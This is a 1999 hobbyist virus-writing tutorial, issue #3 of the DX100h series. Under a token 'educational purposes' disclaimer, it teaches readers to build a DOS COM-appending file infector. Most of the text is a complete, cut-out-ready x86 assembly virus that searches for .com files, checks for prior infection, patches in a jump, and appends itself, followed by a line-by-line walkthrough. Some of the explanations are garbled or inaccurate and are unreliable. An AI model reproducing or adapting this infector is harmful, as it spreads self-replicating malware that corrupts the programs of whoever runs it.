DX100h VIRUS WRITING GUIDE issue # 3 |
-------------------------------------+
DISCLAIMER: 
I do not assume any responsability of what a person
can make after reading these series of tutorials I am
making it only for educational purposes ;)

ISSUE # 2 DEDIC:
-Dedicated to Rhape79,SpYdA,PhreakX
 GigaByte,PaX,[Clau],Evul and all the 
 other UC members. And to my Cactus that
 today died.
 wanna put yer name here ???
 just send me 9.9$ ;)
 4 more infoz dx100h@yahoo.com

TABLE OF CONTENTS :

ISSUE #1
I)  INTRODUCTION TO THE VIRULENT WORLD
II) WHY SHOULD I WRITE A VIRII ?
III)BRAIN REQUIREMENTS

ISSUE #2/3/4/5/6/7
1)  REAL STUFF BEGINS
1.1)THE OVERWRITING VIRII
1.2)THE COM APPENDNG VIRII
1.3)THE EXE APPENDING VIRII
1.4)THE COMBO VIRII
1.5)MEMORY RESIDENT VIRII

ISSUE #8/9
2)  COOL STUFF
2.1)ENCRYPTION
2.2)POLYMORPHISM
2.3)DOT DOT & TRANSVERSAL METHODS
2.4)STEALTH
2.5)CODE ARMORING

ISSUE #10
3)  FINAL STUFF
3.1)GREETINGS
3.2)COPYRIGHTS
3.3)FINAL NOTES
3.4)DX100h HISTORY AND INTERVIEW

------------------------------------------------>
1.1 THE COM APPENDING VIRUS|
---------------------------+
Ok, now i m sitting here on my desk and finally i found a
way on how to teach to a newbie a com appending virus.
In the last issue we talked about the com overwriting virus
and i said that this kind of virus is the lamest,ok now you
will learn how to make a simple but respectable com appending
infector (If you dont know it, com appending viruses dont fuck
off the files they infect, so files will run as usual :) )
The theory of the com appending bitch follows:

0.We set up the delta offset
1.We have to find a com file (we already know this routine)
2.We have to open it (we already know this routine)
3.We check if the file is already infected, if so go to 6
4.Write a jump at the top of the victim program that will conduct
  to the EOF (end of file)
5.We write the rest of the virus code at the EOF
6.We close the file (we already know this routine)
7.We terminate the virus (we already know this routine)

Ok, now if you understood well this flow chart we can pass to
the real stuff looking at this source code :

------------------------[CUT HERE]----------------------------------

code segment
assume cs:code,ds:code
org 100h
virus proc near

start:
db 0e9h,0,0

start2:
call deltaof

delta:
pop bp 
sub bp,offset deltaof

copythr:
lea si,[bp+offset thrby]
mov di,100h
push di
movsw
movsb
lea dx,[bp+offset copdta]
mov ah,1ah
int 21h

find:
mov ah,4eh
lea dx,[bp+com]
mov cx,7
int 21h
jnc open
jmp quit

open: 
mov ax,3d02h
lea dx,[bp+offset copdta+1eh]
int 21h
xchg bx,ax

comparison:
mov ah,3fh
lea dx,[bp+thrby]
mov cx,3
int 21h
mov ax,word ptr [bp+copdta+1ah]
mov cx,word ptr [bp+thrby+1]
add cx,finish-virus+3
cmp ax,cx
jz quit2

writejump:
sub ax,3
mov word ptr [bp+crejump+1],ax
mov ax,4200h
cwd
xor cx,cx
int 21h

write2:
mov ah,40h
mov cx,3
lea dx,[bp+crejump]
int 21h

write3:
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
mov ah,40h
mov cx,finish-virus
lea dx,[bp+virus]
int 21h

quit2:
mov ah,3eh
int 21h

quit:
mov dx,80h
mov ah,1ah
int 21h
retn

com db '*.com',0
thrby db 0cdh,20h,0
crejump db 0e9h,0,0

finish label near

copdta db 42 dup (?)
code ends
virus endp
end start

------------------------[CUT HERE]----------------------------------

Read this code once, twice or (better i suggest it =) ) three times and try
to understand as much as possible without looking at the explanation here
below; then you are ready to continue.

NB:maybe there are some routines that you already know but i will re-explain
   them.

start:
db 0e9h,0,0

This is a jump to the real code of the virus

start2:
call deltaof

This routine calls the routine =) that runs the delta offset

deltaof:
pop bp 
sub bp,offset deltaof

we load the bp (base pointer) using this instruction pop bp then we subtract
the routine from the base pointer to obtain the delta offset that at the first
run is equal to zero.

copythr:
lea si,[bp+offset thrby]
mov di,100h
push di
movsw
movsb

Then we take the first three bytes of the program to the memory
(lea si,[bp+offset thrby] mov di,100h push di) so we save them in di;
note that the three bytes are defined by the instruction (movsw and movsb)

lea dx,[bp+offset copdta]
mov ah,1ah
int 21h

Then we copy the DTA to the memory to gain access to it secretely 
(lea dx,[bp+offset cop dta mov ah,1ah)

find:
mov ah,4eh
lea dx,[bp+com]
mov cx,7
int 21h
jnc open
jmp quit

You should be familiar with this routine,aren't you ?
It finds the first directory's file (mov ah,4eh) with .com extension
(lea dx,[bp+com] and with normal attributes (mov cx,7) if there isn't an
error the virus jumps to the open routine (jnc open) or if it founds error it
quits (jmp quit)

open: 
mov ax,3d02h
lea dx,[bp+offset copdta+1eh]
int21h
xchg bx,ax

Another well known routine, nah ?
It opens the file in read/write mode (mov ax,3d02h) in the "hide" DTA (we
copied before... remember ? lea dx,[bp+offset copdta+1eh]) the we need the
file stuff in ax so ... xchg bx,ax

comparison:
mov ah,3fh
lea dx,[bp+thrby]
mov cx,3
int 21h

Ok now that it opened the file it should move to the beginnig of the file
(mov ah,3fh) to load virus' three bytes (lea dx,[bp+thrby]) and selects 
how many bytes we want to read (mov cx,3)

mov ax,word ptr [bp+copdta+1ah]
mov cx,word ptr [bp+thrby+1]
add cx,finish-virus+3
cmp ax,cx
jz quit2

now we look at the file to see if it is already infected so we look at it 
in the DTA and we copy it in memory (mov ax,word ptr [bp+copdta+1ah]) 
the virus then takes his
first three bytes and his body size togheter and compares them with
the file's (mov cx,word ptr [bp+thrby+1] add cx,finish-virus+3 cmp ax,cx)
and if they are equal it closes the file (jz quit2)

writejump:
sub ax,3
mov word ptr [bp+crejump+1],ax
mov ax,4200h
cwd
xor cx,cx
int21h

This is similar to the infection routine we had in the second issue but the
difference stands in the way we use it now we are using it for writing a jump
at the beginning if the victim file.
now we have the program copied in memory and we subtract from it three bytes
(sub ax,3), then with the second instruction we set the distance of the jump
(mov word ptr [bp+crejump+1],ax).
Now we move to the beginning of the program and we set up the space for
writing the jump (mov ax,4200h cwd xor cx,cx)

write2:
mov ah,40h
mov cx,3
lea dx,[bp+crejump]
int 21h

now we write the three bytes of the jump
(mov ah,40h mov cx,3 lea dx,[bp+crejump])

mov ax,4202h
xor cx,cx
xor dx,dx
int 21h

here we move to the end of the file (mov ax,4202h) and we reset the registers
CX and DX (xor cx,cx xor dx,dx)

mov ah,40h
mov cx,finish-virus
lea dx,[bp+virus]
int 21h

Ok now we call write function (mov ah,40h) then we set how many bytes to write
(mov cx,finish-virus) and we set in DX what we want to write
(lea dx,[bp+virus])

quit2:
mov ah,3eh
int 21h

We already know this; this is a function to close the opened file (mov ah,3eh)

quit:
mov dx,80h
mov ah,1ah
int 21h
retn

Then we stop the virus until the next execution ;)

Ok i hope you learned a bit ;) if you have some questions, comments
or you must flame me do it at dx100h@yahoo.com

------------------------------------------------>

So be careful in your work and GOOD LUCK

(c)1999,DX100h (dx100h@yahoo.com) ULTIMATE CHAOS  

-WANNA COPY ANY PART OF THIS TEXT FILE ?????-
-DONT ASK FOR PERMISSION, DO IT ANYWAY !!!!!-
-DX100h-